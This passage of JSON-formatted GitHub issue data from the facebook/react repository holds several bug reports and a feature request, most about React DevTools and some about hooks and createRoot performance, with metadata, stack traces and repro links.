"author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### Website or app\n\nHappens even after all tabs are closed\n\n### Repro steps\n\nI don't have clear repro steps yet. Occasionally I will notice that Chrome is using 170%-200% CPU. I close *all* my tabs, and it continues. Then I open the extensions management page and disable react devtools. This immediately fixes the problem. Re-enabling the extension does not re-engage the high cpu issue.\n\n### How often does this bug happen?\n\nSometimes\n\n### DevTools package (automated)\n\n_No response_\n\n### DevTools version (automated)\n\n_No response_\n\n### Error message (automated)\n\n_No response_\n\n### Error call stack (automated)\n\n_No response_\n\n### Error component stack (automated)\n\n_No response_\n\n### GitHub query string (automated)\n\n_No response_", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/27791/reactions", "total_count": 2, "+1": 2, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/27764", "id": 2018832156, "node_id": "I_kwDOAJy2Ks54VO8c", "number": 27764, "title": "[DevTools Bug]: Extension breaks PRTG web interface", "user": { "login": "prplecake", "id": 83595468, "node_id": "MDQ6VXNlcjgzNTk1NDY4", "avatar_url": "https://avatars.githubusercontent.com/u/83595468?v=4", "gravatar_id": "", "url": "https://api.github.com/users/prplecake", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" }, "2": { "id": 710573595, "node_id": "MDU6TGFiZWw3MTA1NzM1OTU=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Developer%20Tools", "name": "Component: Developer Tools", "color": "fbca04", "default": false, "description": null } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 2, "created_at": "2023-11-30T14:48:38Z", "updated_at": "2023-12-11T23:23:03Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### Website or app\r\n\r\npresumably any PRTG installation\r\n\r\n### Repro steps\r\n\r\nTry to load PRTG in Firefox. Note many tabs won't load properly, browser console network panel will show NS_BINDING_ABORTED errors coming from jQuery.\r\n\r\nNot sure what the actual problem is, but disabling React Developer Tools lets all those pages load successfully with no errors reported in the console.\r\n\r\nIt would be cool if I could tell React Developer Tools to NEVER load on certain pages, but it doesn't look like that's an option.\r\n\r\n### How often does this bug happen?\r\n\r\nEvery time\r\n\r\n### DevTools package (automated)\r\n\r\n_No response_\r\n\r\n### DevTools version (automated)\r\n\r\n_No response_\r\n\r\n### Error message (automated)\r\n\r\n_No response_\r\n\r\n### Error call stack (automated)\r\n\r\n_No response_\r\n\r\n### Error component stack (automated)\r\n\r\n_No response_\r\n\r\n### GitHub query string (automated)\r\n\r\n_No response_", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/27764/reactions", "total_count": 1, "+1": 1, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/27762", "id": 2017934486, "node_id": "I_kwDOAJy2Ks54RzyW", "number": 27762, "title": "[DevTools Bug]: Cannot read properties of undefined (reading 'toLowerCase')", "user": { "login": "o-star", "id": 57346455, "node_id": "MDQ6VXNlcjU3MzQ2NDU1", "avatar_url": "https://avatars.githubusercontent.com/u/57346455?v=4", "gravatar_id": "", "url": "https://api.github.com/users/o-star", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" }, "2": { "id": 710573595, "node_id": "MDU6TGFiZWw3MTA1NzM1OTU=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Developer%20Tools", "name": "Component: Developer Tools", "color": "fbca04", "default": false, "description": null } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 2, "created_at": "2023-11-30T05:56:38Z", "updated_at": "2024-01-01T13:48:54Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### Website or app\n\nReact app in development phase\n\n### Repro steps\n\n\"image\"\r\n\r\nOccurs when you click on a component on the Component tab.\r\nRecently, I worked on replacing it with react-hot-loader -> react-refresh.\r\nThe above error has occurred since the react-refresh application.\r\nNo error occurs when react-refresh is removed from the webpack.\r\nThe react-refresh is set the same as the official document.\r\n\n\n### How often does this bug happen?\n\nEvery time\n\n### DevTools package (automated)\n\n_No response_\n\n### DevTools version (automated)\n\n4.28.5\n\n### Error message (automated)\n\nCannot read properties of undefined (reading 'toLowerCase')\n\n### Error call stack (automated)\n\n```text\nutils.js:626 Uncaught TypeError: Cannot read properties of undefined (reading 'toLowerCase')\r\n at formatDataForPreview (utils.js:626:1)\r\n at dehydrate (hydration.js:83:1)\r\n at cleanForBridge (utils.js:26:1)\r\n at Object.inspectElement (renderer.js:3356:1)\r\n at agent.js:175:1\r\n at Bridge.emit (events.js:37:1)\r\n at bridge.js:136:1\r\n at listener (backendManager.js:1:25284)\n```\n\n\n### Error component stack (automated)\n\n_No response_\n\n### GitHub query string (automated)\n\n_No response_", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/27762/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/27758", "id": 2016147649, "node_id": "I_kwDOAJy2Ks54K_jB", "number": 27758, "title": "[DevTools Feature Request]: Full support for RSC server elements (component tree, props, inspect)", "user": { "login": "jimkyndemeyer", "id": 15837712, "node_id": "MDQ6VXNlcjE1ODM3NzEy", "avatar_url": "https://avatars.githubusercontent.com/u/15837712?v=4", "gravatar_id": "", "url": "https://api.github.com/users/jimkyndemeyer", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" }, "2": { "id": 710573595, "node_id": "MDU6TGFiZWw3MTA1NzM1OTU=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Developer%20Tools", "name": "Component: Developer Tools", "color": "fbca04", "default": false, "description": null } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 1, "created_at": "2023-11-29T09:17:59Z", "updated_at": "2024-08-27T17:33:06Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### Website or app\r\n\r\nAll Next.js 13/14 Apps\r\n\r\n### Repro steps\r\n\r\nRSC elements created on the server and sent over the network are not supported by React DevTools. Both `_debugOwner` and `_debugSource` are `null`, which breaks the component tree, props view, and the inspect feature.\r\n\r\nAccording to this thread, https://twitter.com/alvarlagerlof/status/1716927277295120429, it's been considered, but no concrete plans yet.\r\n\r\nFrom the official [server components RFC](https://github.com/reactjs/rfcs/blob/main/text/0188-server-components.md#open-areas-of-research):\r\n\r\n![image](https://github.com/facebook/react/assets/15837712/62cd61f3-38b8-481d-b47c-308ff2a82bc5)\r\n\r\n\r\n### How often does this bug happen?\r\n\r\nEvery time\r\n\r\n### DevTools package (automated)\r\n\r\n_No response_\r\n\r\n### DevTools version (automated)\r\n\r\n_No response_\r\n\r\n### Error message (automated)\r\n\r\n_No response_\r\n\r\n### Error call stack (automated)\r\n\r\n_No response_\r\n\r\n### Error component stack (automated)\r\n\r\n_No response_\r\n\r\n### GitHub query string (automated)\r\n\r\n_No response_", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/27758/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/27749", "id": 2011866099, "node_id": "I_kwDOAJy2Ks536qPz", "number": 27749, "title": "[DevTools Bug]: Extension not loading for local files in Electron since 4.27.5", "user": { "login": "Bartel-C8", "id": 76486925, "node_id": "MDQ6VXNlcjc2NDg2OTI1", "avatar_url": "https://avatars.githubusercontent.com/u/76486925?v=4", "gravatar_id": "", "url": "https://api.github.com/users/Bartel-C8", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" }, "2": { "id": 710573595, "node_id": "MDU6TGFiZWw3MTA1NzM1OTU=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Developer%20Tools", "name": "Component: Developer Tools", "color": "fbca04", "default": false, "description": null } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 5, "created_at": "2023-11-27T09:33:31Z", "updated_at": "2025-05-02T03:21:21Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### Website or app\n\nlocal file (index.html)\n\n### Repro steps\n\nTry to load the React Devtools in an Electron app (latest 27.1.2) which uses a local file to load.\r\n\r\nElectron now properly supports loading manifest V3 extension, but there is a problem when loading a local file to the main window.\r\nContext: https://github.com/electron/electron/issues/36545#issuecomment-1825481015\r\n\r\nOnly workaround is to programatically close the application and re-create the window.\r\nOn some systems (Windows?) it seems plenty to just load the extension twice, but on my macOS, this does not work..\r\n\r\nI traced the commit breaking this is: https://github.com/facebook/react/pull/26492\r\nSo v4.27.4 works fine, but the next release (and onwards) 4.27.5 suffer from this issue.\n\n### How often does this bug happen?\n\nEvery time\n\n### DevTools package (automated)\n\n_No response_\n\n### DevTools version (automated)\n\n_No response_\n\n### Error message (automated)\n\n_No response_\n\n### Error call stack (automated)\n\n_No response_\n\n### Error component stack (automated)\n\n_No response_\n\n### GitHub query string (automated)\n\n_No response_", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/27749/reactions", "total_count": 4, "+1": 4, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/27728", "id": 2001581700, "node_id": "I_kwDOAJy2Ks53TbaE", "number": 27728, "title": "[DevTools Bug] Cannot add node \"1590\" because a node with that id is already in the Store.", "user": { "login": "Tungquantedge", "id": 32952770, "node_id": "MDQ6VXNlcjMyOTUyNzcw", "avatar_url": "https://avatars.githubusercontent.com/u/32952770?v=4", "gravatar_id": "", "url": "https://api.github.com/users/Tungquantedge", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" }, "2": { "id": 710573595, "node_id": "MDU6TGFiZWw3MTA1NzM1OTU=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Developer%20Tools", "name": "Component: Developer Tools", "color": "fbca04", "default": false, "description": null } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 15, "created_at": "2023-11-20T07:58:56Z", "updated_at": "2024-06-25T02:24:11Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### Website or app\n\nhttps://editor.wix.com/html/editor/web/renderer/edit/1e14587f-a72d-4b5f-866d-f00b1ede1959?metaSiteId=e0eb6e2b-eb02-4e61-8c27-b28c38ce72f9\n\n### Repro steps\n\nJust open web and error show\n\n### How often does this bug happen?\n\nEvery time\n\n### DevTools package (automated)\n\nreact-devtools-extensions\n\n### DevTools version (automated)\n\n4.28.5-ef8a840bd\n\n### Error message (automated)\n\nCannot add node \"1590\" because a node with that id is already in the Store.\n\n### Error call stack (automated)\n\n```text\nat chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1125187\r\n at A.emit (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1095954)\r\n at chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1097642\r\n at bridgeListener (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1495532)\n```\n\n\n### Error component stack (automated)\n\n_No response_\n\n### GitHub query string (automated)\n\n```text\nhttps://api.github.com/search/issues?q=Cannot add node because a node with that id is already in the Store. in:title is:issue is:open is:public label:\"Component: Developer Tools\" repo:facebook/react\n```\n", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/27728/reactions", "total_count": 10, "+1": 5, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 5 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/27705", "id": 1994122074, "node_id": "I_kwDOAJy2Ks522-Na", "number": 27705, "title": "[DevTools Bug]: Hide logs during second render in Strict Mode not working", "user": { "login": "incmak", "id": 16060763, "node_id": "MDQ6VXNlcjE2MDYwNzYz", "avatar_url": "https://avatars.githubusercontent.com/u/16060763?v=4", "gravatar_id": "", "url": "https://api.github.com/users/incmak", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" }, "2": { "id": 710573595, "node_id": "MDU6TGFiZWw3MTA1NzM1OTU=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Developer%20Tools", "name": "Component: Developer Tools", "color": "fbca04", "default": false, "description": null } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 11, "created_at": "2023-11-15T06:18:55Z", "updated_at": "2024-08-04T08:17:14Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### Website or app\n\nhttps://codesandbox.io/p/sandbox/sharp-cache-627m6x?layout=%257B%2522sidebarPanel%2522%253A%2522EXPLORER%2522%252C%2522rootPanelGroup%2522%253A%257B%2522direction%2522%253A%2522horizontal%2522%252C%2522contentType%2522%253A%2522UNKNOWN%2522%252C%2522type%2522%253A%2522PANEL_GROUP%2522%252C%2522id%2522%253A%2522ROOT_LAYOUT%2522%252C%2522panels%2522%253A%255B%257B%2522type%2522%253A%2522PANEL_GROUP%2522%252C%2522contentType%2522%253A%2522UNKNOWN%2522%252C%2522direction%2522%253A%2522vertical%2522%252C%2522id%2522%253A%2522clozd8em0000a356itqsl0kki%2522%252C%2522sizes%2522%253A%255B70%252C30%255D%252C%2522panels%2522%253A%255B%257B%2522type%2522%253A%2522PANEL_GROUP%2522%252C%2522contentType%2522%253A%2522EDITOR%2522%252C%2522direction%2522%253A%2522horizontal%2522%252C%2522id%2522%253A%2522EDITOR%2522%252C%2522panels%2522%253A%255B%257B%2522type%2522%253A%2522PANEL%2522%252C%2522contentType%2522%253A%2522EDITOR%2522%252C%2522id%2522%253A%2522clozd8elz0003356ivqwmdxyv%2522%257D%255D%252C%2522sizes%2522%253A%255B100%255D%257D%252C%257B%2522type%2522%253A%2522PANEL_GROUP%2522%252C%2522contentType%2522%253A%2522SHELLS%2522%252C%2522direction%2522%253A%2522horizontal%2522%252C%2522id%2522%253A%2522SHELLS%2522%252C%2522panels%2522%253A%255B%257B%2522type%2522%253A%2522PANEL%2522%252C%2522contentType%2522%253A%2522SHELLS%2522%252C%2522id%2522%253A%2522clozd8elz0007356ijh3woekp%2522%257D%255D%252C%2522sizes%2522%253A%255B100%255D%257D%255D%257D%252C%257B%2522type%2522%253A%2522PANEL_GROUP%2522%252C%2522contentType%2522%253A%2522DEVTOOLS%2522%252C%2522direction%2522%253A%2522vertical%2522%252C%2522id%2522%253A%2522DEVTOOLS%2522%252C%2522panels%2522%253A%255B%257B%2522type%2522%253A%2522PANEL%2522%252C%2522contentType%2522%253A%2522DEVTOOLS%2522%252C%2522id%2522%253A%2522clozd8elz0009356ielu54js9%2522%257D%255D%252C%2522sizes%2522%253A%255B100%255D%257D%255D%252C%2522sizes%2522%253A%255B50%252C50%255D%257D%252C%2522tabbedPanels%2522%253A%257B%2522clozd8elz0003356ivqwmdxyv%2522%253A%257B%2522id%2522%253A%2522clozd8elz0003356ivqwmdxyv%2522%252C%2522activeTabId%2522%253A%2522clozd92m7006s356idh5hwnfk%2522%252C%2522tabs%2522%253A%255B%257B%2522id%2522%253A%2522clozd8ely0002356ikf2d5bsz%2522%252C%2522mode%2522%253A%2522permanent%2522%252C%2522type%2522%253A%2522FILE%2522%252C%2522filepath%2522%253A%2522%252FREADME.md%2522%257D%252C%257B%2522type%2522%253A%2522FILE%2522%252C%2522filepath%2522%253A%2522%252Fsrc%252FApp.tsx%2522%252C%2522id%2522%253A%2522clozd92m7006s356idh5hwnfk%2522%252C%2522mode%2522%253A%2522permanent%2522%252C%2522state%2522%253A%2522IDLE%2522%257D%255D%257D%252C%2522clozd8elz0009356ielu54js9%2522%253A%257B%2522tabs%2522%253A%255B%257B%2522id%2522%253A%2522clozd8elz0008356i67rphcjv%2522%252C%2522mode%2522%253A%2522permanent%2522%252C%2522type%2522%253A%2522TASK_PORT%2522%252C%2522taskId%2522%253A%2522dev%2522%252C%2522port%2522%253A5173%252C%2522path%2522%253A%2522%252F%2522%257D%255D%252C%2522id%2522%253A%2522clozd8elz0009356ielu54js9%2522%252C%2522activeTabId%2522%253A%2522clozd8elz0008356i67rphcjv%2522%257D%252C%2522clozd8elz0007356ijh3woekp%2522%253A%257B%2522tabs%2522%253A%255B%257B%2522id%2522%253A%2522clozd8elz0004356ilbgf4wub%2522%252C%2522mode%2522%253A%2522permanent%2522%252C%2522type%2522%253A%2522TASK_LOG%2522%252C%2522taskId%2522%253A%2522dev%2522%257D%252C%257B%2522id%2522%253A%2522clozd8elz0005356inhy8tftq%2522%252C%2522mode%2522%253A%2522permanent%2522%252C%2522type%2522%253A%2522TASK_LOG%2522%252C%2522taskId%2522%253A%2522build%2522%257D%252C%257B%2522id%2522%253A%2522clozd8elz0006356iz11synx2%2522%252C%2522mode%2522%253A%2522permanent%2522%252C%2522type%2522%253A%2522TASK_LOG%2522%252C%2522taskId%2522%253A%2522preview%2522%257D%255D%252C%2522id%2522%253A%2522clozd8elz0007356ijh3woekp%2522%252C%2522activeTabId%2522%253A%2522clozd8elz0004356ilbgf4wub%2522%257D%257D%252C%2522showDevtools%2522%253Atrue%252C%2522showShells%2522%253Atrue%252C%2522showSidebar%2522%253Atrue%252C%2522sidebarPanelSize%2522%253A15%257D\n\n### Repro steps\n\ncheck console logs while turning on the 'hide logs during the second render in Strict Mode' in react dev tools. it's console logging 'rendering' twice\n\n### How often does this bug happen?\n\nEvery time\n\n### DevTools package (automated)\n\n_No response_\n\n### DevTools version (automated)\n\n_No response_\n\n### Error message (automated)\n\n_No response_\n\n### Error call stack (automated)\n\n_No response_\n\n### Error component stack (automated)\n\n_No response_\n\n### GitHub query string (automated)\n\n_No response_", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/27705/reactions", "total_count": 2, "+1": 2, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/27670", "id": 1983914634, "node_id": "I_kwDOAJy2Ks52QCKK", "number": 27670, "title": "Bug: useSyncExternalStore does not schedule update after mutation", "user": { "login": "bvaughn", "id": 29597, "node_id": "MDQ6VXNlcjI5NTk3", "avatar_url": "https://avatars.githubusercontent.com/u/29597?v=4", "gravatar_id": "", "url": "https://api.github.com/users/bvaughn", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 16, "created_at": "2023-11-08T15:52:50Z", "updated_at": "2025-09-20T20:25:52Z", "closed_at": null, "assignee": null, "author_association": "CONTRIBUTOR", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "Here is a Replay recording with comments:\r\nhttps://app.replay.io/recording/318114a4-3102-4732-ad1b-cb63b9c0ac22\r\n\r\nI think the comments I've added show the following scenario:\r\n1. A React component (`Subscriber`) uses `useSyncExternalStore` to read from a mutable store.\r\n2. The Activity subtree containing `Subscriber` is hidden, and React unsubscribes from the store.\r\n3. An update is scheduled to show the hidden subtree again and the `Subscriber` component re-renders (with memoized state).\r\n4. A parent component mutates the store in a layout effect. (The `Subscriber` component is not yet listening and so it does not re-render to reflect the updated store value.)\r\n6. React re-subscribes the `Subscriber` component (`useSyncExternalStore`) but it has already missed the mutation **and React does not check for a changed snapshot value**.\r\n\r\nWe originally observed this behavior in Replay itself but I was able to reduce it to the following simplified case:\r\nhttps://codesandbox.io/s/inspiring-bird-m4wv5l\r\n\r\nI've added comments to the Replay, including ones that bracket the problematic `commitRoot`. Here's a short Loom as well talking through the bug:\r\nhttps://www.loom.com/share/2584cad5b4c44e6bba396ff8cf79db1d\r\n\r\nI _think_ an application could work around this issue in a couple of ways:\r\n* Only mutate stores in passive effects. (This may cause visible layout shift though so it seems bad.)\r\n* Mutable store users should avoid memoized `getSnapshot` and `subscribe` functions. (This would schedule some unnecessary effects work which is probably nice to avoid but maybe acceptable.)\r\n* **Store subscribe methods should always invoke the `callback` React passes.** (This would cause a lot of unnecessary `Object.is` comparisons but that's probably an acceptable cost.)\r\n\r\nI think the third option above seems best, but needing to do that feels like a foot gun for the API. Thoughts?\r\n\r\ncc @acdlite, @sebmarkbage in case you find this interesting.", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/27670/reactions", "total_count": 2, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 1, "eyes": 1 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/27524", "id": 1943934009, "node_id": "I_kwDOAJy2Ks5z3hQ5", "number": 27524, "title": "Bug: performance deteriorates when using ReactDOM.createRoot instead of ReactDom.render for virtual-table.", "user": { "login": "atersolis", "id": 7544804, "node_id": "MDQ6VXNlcjc1NDQ4MDQ=", "avatar_url": "https://avatars.githubusercontent.com/u/7544804?v=4", "gravatar_id": "", "url": "https://api.github.com/users/atersolis", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 710722093, "node_id": "MDU6TGFiZWw3MTA3MjIwOTM=", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Needs%20Investigation", "name": "Type: Needs Investigation", "color": "65AA9C", "default": false, "description": "" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 3, "created_at": "2023-10-15T15:29:28Z", "updated_at": "2024-04-17T12:40:33Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "While experimenting with react-window, I encountered a performance disparity in my project compared to the smooth user experience demonstrated in the react-window documentation examples. Even after building for production, I noticed white flashes when scrolling quickly in my project, whereas the documentation's examples remained consistently smooth.\r\n\r\nAfter conducting several experiments, I successfully identified the root cause: the performance significantly deteriorates when using ReactDOM.createRoot compared to the now deprecated ReactDOM.render.\r\n\r\nHere is a video to illustrate the issue:\r\nhttps://github.com/facebook/react/assets/7544804/0be9ba6f-47e8-4d61-bb6c-e8fef0787776\r\n\r\nThis issue is not exclusive to react-window; in fact, I first encountered it while developing a toy version of it using function components and hooks (react-window itself is currently implemented using class components).\r\n\r\nReact version:\r\nTried with react/react-dom 18.2.0 and react/react-dom 18.3.0-canary-09fbee89d-20231013\r\n\r\nLink to code example:\r\nHere are two CodeSandbox examples of the same scenario with only one distinction:\r\n- The first one uses ReactDOM.render: https://codesandbox.io/s/modest-cdn-4jwd6y?file=/index.js \r\n- The second one uses ReactDOM.createRoot: https://codesandbox.io/s/magical-cdn-ggyytv?file=/index.js \r\n**It's worth noting that the issue seems to become more pronounced after building the React app for production.** I'm not sure if that's possible directly on codesandbox.\r\n\r\nAdditionally, I've created two CodeSandbox using my own simplified version of a virtual table, the performance issue is also noticeable in this scenario:\r\n- Using ReactDom.render: https://codesandbox.io/s/sleepy-bardeen-43dd9g?file=/index.js\r\n- Using ReactDom.createRoot: https://codesandbox.io/s/friendly-wilson-qxs4yc?file=/index.js\r\n\r\n## The current behavior\r\nThe performance appears to be worse when using ReactDom.createRoot compared to ReactDom.render\r\n\r\n## The expected behavior\r\nUsing ReactDom.createRoot should give the same performance or better performance than ReactDom.render", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/27524/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/27335", "id": 1881922583, "node_id": "I_kwDOAJy2Ks5wK9wX", "number": 27335, "title": "Bug: eslint-plugin-react-hooks: Incorrect dependency requirement when using `typeof` on nested data structures", "user": { "login": "jwueller", "id": 388308, "node_id": "MDQ6VXNlcjM4ODMwOA==", "avatar_url": "https://avatars.githubusercontent.com/u/388308?v=4", "gravatar_id": "", "url": "https://api.github.com/users/jwueller", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 1249821345, "node_id": "MDU6TGFiZWwxMjQ5ODIxMzQ1", "url": 